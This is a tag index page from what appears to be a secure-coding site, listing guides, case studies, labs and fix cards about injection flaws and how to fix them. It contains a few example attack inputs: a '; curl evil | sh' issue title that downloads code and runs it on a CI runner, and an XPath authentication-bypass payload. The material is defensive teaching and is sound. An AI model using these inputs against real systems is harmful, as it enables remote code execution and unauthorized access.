Software Securityhome
Fix a findingSearch
Tag

Injection

14 guides tagged Injection, grouped by topic, with the SDLC phase and role each is written for.

SDLC phases
Roles

Application security

10 guides
Recipe · Application security

Fix SQL injection in Python sqlite3

Bind query values separately from SQL syntax, then prove the fix preserves legitimate behavior and blocks an injection probe.

Development · Developers, AppSec engineers

Guide · Application security

Keep untrusted values out of executable syntax

Choose a safe interface for each interpreter and bound the work performed by parsers and converters.

Development · Developers

Guide · Application security

Run external programs without command or argument injection

Run programs from an argument list with no shell, end options before user values, and keep untrusted arguments away from Windows batch files.

Development · Developers

Guide · Application security

Keep untrusted input out of eval, expression languages and templates

Keep code and templates constant, pass input as data, and treat in-process sandboxes as one layer, not a boundary.

Development · Developers

Case study · Application security

Case study: Log4Shell (CVE-2021-44228)

How a JNDI lookup in Apache Log4j became internet-wide remote code execution, why transitive and shaded dependencies made it so hard to patch, which mitigations held, and what it teaches about dependency inventory and SBOMs.

Release, Maintenance · Developers, AppSec engineers

Guide · Application security

Prevent CRLF header injection, log forging and CSV formula injection

Carriage return and line feed separate HTTP header fields, log records and CSV rows, and a leading = turns a spreadsheet cell into a formula. Let the framework write headers, log structured JSON, and neutralize formula triggers in exports.

Development · Developers, AppSec engineers, Platform engineers and SREs

Guide · Application security

Prevent DOM XSS, postMessage abuse and client-side injection

Trace attacker-controlled values from the URL, messages and storage to the browser APIs that parse HTML or run code, then close those sinks with safe APIs, a sanitizer, Trusted Types and strict message checks.

Development · Developers, AppSec engineers

Guide · Application security

Prevent NoSQL, LDAP, XPath and expression-language injection

SQL is not the only query language that receives user input. Stop MongoDB operator injection with type checks and $eq, escape LDAP filter values, pass XPath values as variables, and never evaluate SpEL or OGNL built from request data.

Development · Developers, AppSec engineers

Case study · Application security

Case study: MOVEit Transfer mass exploitation (CVE-2023-34362)

How one unauthenticated SQL injection in an internet-facing file transfer product let the Cl0p group steal data from thousands of organizations in days in 2023, how defenders found the web shell, and the vendor and customer controls that would have limited it.

Maintenance, Security program · Developers, AppSec engineers

Guide · Application security

Prevent file inclusion: LFI, RFI, dynamic imports and template names

Stop request data from choosing which file, module or template your application loads: local and remote file inclusion in PHP, dynamic require() and import() in Node.js, importlib and template names in Python, Thymeleaf view names in Spring, render in Rails, and the allowlist fix that works in all of them.

Development · Developers, AppSec engineers

Software supply chain

2 guides

Runtime, cloud & APIs

2 guides

Practice

Browser lab · Practitioner · 25–40 min

Actions injection lab: Flag GitHub Actions expression injection

A workflow interpolates ${{ github.event.issue.title }} straight into a run script, so an issue title like "; curl evil | sh" runs on the runner. The linter that is supposed to catch this only knows one expression. Repair it so it flags any attacker-controlled context used in a shell script, and treats the env-variable pattern as safe.

Browser lab · Foundation · 20–30 min

SQL injection lab: Separate SQL structure from data with sqlite3

A product search builds its SQL by formatting the shopping category and search term straight into the query string, so a crafted term can read other tables or return every row. Repair it to use sqlite3 parameters, while keeping the legitimate search working.

Browser lab · Practitioner · 25–40 min

File upload lab: Accept avatars without publishing pages

A profile-picture upload trusts the client’s Content-Type and file name, stores files in the public folder and serves them with the client’s type, so an SVG with a script runs in the site’s origin. Repair the upload decision.

Browser lab · Practitioner · 25–40 min

OS command injection lab: Run git without a shell

A repository browser pastes request values into a git command line for the shell, so a semicolon starts a second command and a leading dash becomes a git option. Run git directly, with each value as one argument.

Browser lab · Practitioner · 25–40 min

SSTI lab: Render a welcome banner without template injection

A welcome banner is built by concatenating the user’s display name into a Jinja template string, so a crafted name is evaluated as a template: it runs expressions, bypasses autoescaping and reads the render context. Repair render_welcome so the name is data, not template source.

Browser lab · Practitioner · 25–40 min

XXE lab: Parse an uploaded invoice without resolving external entities

An invoice importer parses uploaded XML with a parser that resolves external entities, so a crafted DOCTYPE reads a local file into the response (XXE). Repair parse_invoice so the parser never resolves external entities, loads no DTD and makes no network request.

Browser lab · Practitioner · 25–40 min

Pickle deserialization lab: Load a session token without pickle

A session loader parses JSON but falls back to pickle for “legacy” tokens, so a crafted pickle runs code when it is loaded. Repair load_token to parse JSON only and validate it against a fixed schema, and leave no path that unpickles untrusted bytes.

Fix card · CWE-94, CWE-95

Code injection

Code injection happens when user input is evaluated as code: eval or new Function in JavaScript, a Spring Expression Language (SpEL) StandardEvaluationContext in Java, or Roslyn scripting in C#.

Fix card · CWE-1236

CSV formula injection

CSV formula injection (also called CSV or formula injection) happens when user-supplied data is written to a CSV (or TSV) export and a spreadsheet later reads a cell beginning with =, +, -, @, tab or carriage return as a live formula -- which can exfiltrate data with HYPERLINK, call DDE, or mislead the reader.

Fix card · CWE-90

LDAP filter injection

LDAP filter injection happens when request data is concatenated into an LDAP search filter, so the metacharacters of RFC 4515 (* ( ) \ and NUL) are parsed as filter syntax instead of data.

Fix card · CWE-943

NoSQL operator injection

MongoDB filters are objects, and a key that starts with $ is an operator.

Fix card · CWE-78, CWE-88

OS command and argument injection

Command injection happens when request data is pasted into a command line that a shell then parses, so a crafted value can start a second command (OS command injection, CWE-78) or add an unintended option to the one you meant to run (argument injection, CWE-88).

Fix card · CWE-1336, CWE-94, CWE-95

Server-side template injection

Template injection happens when request data reaches a template engine as template text rather than as data, so the engine compiles and evaluates it.

Fix card · CWE-89

SQL injection

SQL injection happens when request data is pasted into the text of a SQL statement, so a crafted value can end a string literal and change what the query does: return other customers' rows, drop a filter or read columns the API never returns.

Fix card · CWE-643, CWE-91

XPath injection

XPath injection happens when untrusted data is concatenated into an XPath query against an XML document, so a payload such as ' or '1'='1 changes the query's logic -- turning a login into an authentication bypass or a directory search into a dump of every record.

Fix card · CWE-117, CWE-93, CWE-113

CRLF injection in logs and response headers

CRLF injection happens when request data is written into a line-oriented format, such as a log file or an HTTP header, without encoding, so a carriage return or line feed in it ends the current record and starts one the attacker wrote.

All tags, lifecycle stages and roles

Find your next answer

Type to search. Search runs in your browser.

Searches run in your browser, but the host can infer them from the index files they load. The address shows your search so you can bookmark or share it.